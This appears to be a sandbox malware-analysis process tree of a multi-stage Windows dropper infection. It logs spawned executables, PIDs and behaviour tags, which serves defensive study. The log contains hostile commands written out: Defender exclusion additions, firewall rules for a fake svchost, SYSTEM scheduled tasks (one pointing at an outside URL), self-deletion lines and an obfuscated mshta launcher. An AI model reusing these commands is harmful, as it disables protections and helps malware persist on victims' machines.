                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=3560 /prefetch:8
                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                PID:6432
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=3468 /prefetch:8
                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                  PID:4424
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=3564 /prefetch:8
                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                    PID:7472
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                PID:7028
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                    PID:8756
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                    PID:8032
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                      PID:5884
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\qclo75b7ru_iTygxgohqT8Z6.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\qclo75b7ru_iTygxgohqT8Z6.exe"
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                    PID:6564
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\2d8ar_Fu_FNK8zLUKV3Bmova.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\2d8ar_Fu_FNK8zLUKV3Bmova.exe"
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                    PID:6848
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\eUYXG18Uj39G9PZk4eXVRoHK.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\eUYXG18Uj39G9PZk4eXVRoHK.exe"
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                      PID:6840
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                        PID:6512
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                            PID:7220
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                            PID:6276
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                PID:5728
                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\glhWq1qDcr1Aw6qh5ahxubGd.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\glhWq1qDcr1Aw6qh5ahxubGd.exe"
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:6824
                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\oXsKEKyMabhMST48lejKI1O9.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\oXsKEKyMabhMST48lejKI1O9.exe"
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:6808
                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\fHJj2jSBA_mT5N_eVFndu8If.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\fHJj2jSBA_mT5N_eVFndu8If.exe"
                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                  PID:6800
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\fHJj2jSBA_mT5N_eVFndu8If.exe" & exit
                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                      PID:7856
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                        timeout /t 5
                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                        PID:6220
                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\18RnH3k1kmhE1OWQxHpMPDOF.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\18RnH3k1kmhE1OWQxHpMPDOF.exe"
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                      PID:6788
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\18RnH3k1kmhE1OWQxHpMPDOF.exe" & exit
                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                          PID:7044
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                            timeout /t 5
                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                            PID:4244
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\CTuCyeCgMQRfjUMDun8dLjOz.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\CTuCyeCgMQRfjUMDun8dLjOz.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                        PID:6864
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\24XGBel10RJEPHQ9XcN0ELFU.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\24XGBel10RJEPHQ9XcN0ELFU.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                        PID:6856
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\g56UpkpSHMADenWrQ46KxSDj.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\g56UpkpSHMADenWrQ46KxSDj.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                        PID:6832
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\g56UpkpSHMADenWrQ46KxSDj.exe" & exit
                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                            PID:8416
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                              timeout /t 5
                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                              PID:8744
                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\yhIJsVFp8RAez_zs6xan5zPT.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\yhIJsVFp8RAez_zs6xan5zPT.exe"
                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                            PID:6816
                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\rTPkyKgFPLeAZSaLoNECkzc2.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\rTPkyKgFPLeAZSaLoNECkzc2.exe"
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:6784
                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\rTPkyKgFPLeAZSaLoNECkzc2.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\rTPkyKgFPLeAZSaLoNECkzc2.exe"
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                  PID:2744
                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\P8V8Vq9KQ5npEanK3s4nLFAz.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\P8V8Vq9KQ5npEanK3s4nLFAz.exe"
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:6648
                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                      PID:5380
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                        PID:4828
                                                                                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                          PID:1560
                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                          PID:4092
                                                                                                                                                                                                                                                        • C:\Windows\System\svchost.exe
                                                                                                                                                                                                                                                          "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                          PID:440
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                              PID:4436
                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                PID:6644
                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                  PID:6784
                                                                                                                                                                                                                                                              • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                  PID:5932
                                                                                                                                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                    PID:2712
                                                                                                                                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                    PID:2428
                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\7h9ePj71ZtvKBAJYZ4B62_1Y.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\7h9ePj71ZtvKBAJYZ4B62_1Y.exe"
                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                    PID:6380
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "7h9ePj71ZtvKBAJYZ4B62_1Y.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\7h9ePj71ZtvKBAJYZ4B62_1Y.exe" & exit
                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                        PID:4120
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                          taskkill /im "7h9ePj71ZtvKBAJYZ4B62_1Y.exe" /f
                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                          PID:6088
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\4Mq_8jNlKjgwWJVFmFldagBV.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\4Mq_8jNlKjgwWJVFmFldagBV.exe"
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                      PID:6372
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                          PID:6524
                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\iuLmAPZGdipNkFagdXfhbQTS.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\iuLmAPZGdipNkFagdXfhbQTS.exe"
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                          PID:6364
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\iLjA0NvH3AjCdssWLBN_onD1.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\iLjA0NvH3AjCdssWLBN_onD1.exe"
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                            PID:6356
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im iLjA0NvH3AjCdssWLBN_onD1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\iLjA0NvH3AjCdssWLBN_onD1.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                PID:8304
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                  taskkill /im iLjA0NvH3AjCdssWLBN_onD1.exe /f
                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                  PID:9132
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                  timeout /t 6
                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                  PID:7124
                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\popxSLBwgtZ4XoZESr9yVt3a.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\popxSLBwgtZ4XoZESr9yVt3a.exe"
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                              PID:6348
                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\ULsxvRPwhm_dsGrOykjppP0j.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\ULsxvRPwhm_dsGrOykjppP0j.exe"
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                PID:6336
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                  schtasks /create /f /RU "Admin" /tr "https://nougacoush.com/link?z=4569148" /tn "AV GORelease" /sc ONCE /st 2:55 /rl HIGHEST
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                  PID:7328
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                  PID:6924
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                  PID:5732
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\5daQKNzOyWt0ky2lSEexzTsO.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\5daQKNzOyWt0ky2lSEexzTsO.exe"
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                    PID:9036
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\TCyF82ZqmZqlZzwAVq6_KVS3.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\TCyF82ZqmZqlZzwAVq6_KVS3.exe"
                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                        PID:8904
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\UKE1qNHcsrXJE9CBcjLMTD38.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\UKE1qNHcsrXJE9CBcjLMTD38.exe"
                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                          PID:6960
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "UKE1qNHcsrXJE9CBcjLMTD38.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\UKE1qNHcsrXJE9CBcjLMTD38.exe" & exit
                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                            PID:6356
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                              taskkill /im "UKE1qNHcsrXJE9CBcjLMTD38.exe" /f
                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                              PID:8768
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\mnIMJ6iFnlX1V5aFAR_2EXPL.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\mnIMJ6iFnlX1V5aFAR_2EXPL.exe"
                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                            PID:8444
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe"
                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                              PID:9124
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                  PID:3920
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\DzfY2jJks_Q3KTSDsG8KklPW.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                      PID:8784
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                        taskkill -f -iM "DzfY2jJks_Q3KTSDsG8KklPW.exe"
                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                        PID:5484
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\V3Sf0SGq_9qPf7Dl9DIZfpYr.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\V3Sf0SGq_9qPf7Dl9DIZfpYr.exe"
                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                    PID:6692
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                      PID:5884
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                        taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                        PID:9072
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\z50AJNZ56X4P6HC2U8ic3tzH.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\z50AJNZ56X4P6HC2U8ic3tzH.exe"
                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                      PID:6016
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\z50AJNZ56X4P6HC2U8ic3tzH.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\z50AJNZ56X4P6HC2U8ic3tzH.exe" -u
                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                          PID:4440
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\HyDbQvRrsaeY5DQWowPlpoE6.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\HyDbQvRrsaeY5DQWowPlpoE6.exe"
                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                          PID:7188
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\oXsUxjEO2VkziFMkb2Zh168H.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\oXsUxjEO2VkziFMkb2Zh168H.exe"
                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                            PID:5068
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-QE2H6.tmp\oXsUxjEO2VkziFMkb2Zh168H.tmp
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-QE2H6.tmp\oXsUxjEO2VkziFMkb2Zh168H.tmp" /SL5="$206E8,506127,422400,C:\Users\Admin\Pictures\Adobe Films\oXsUxjEO2VkziFMkb2Zh168H.exe"
                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                PID:7236
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-FIQHA.tmp\DYbALA.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-FIQHA.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                    PID:7644
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\86-96282-e91-bfabd-ffd409a51a9fd\Bosajurysy.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\86-96282-e91-bfabd-ffd409a51a9fd\Bosajurysy.exe"
                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                        PID:1840
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                                                                                          5⤵
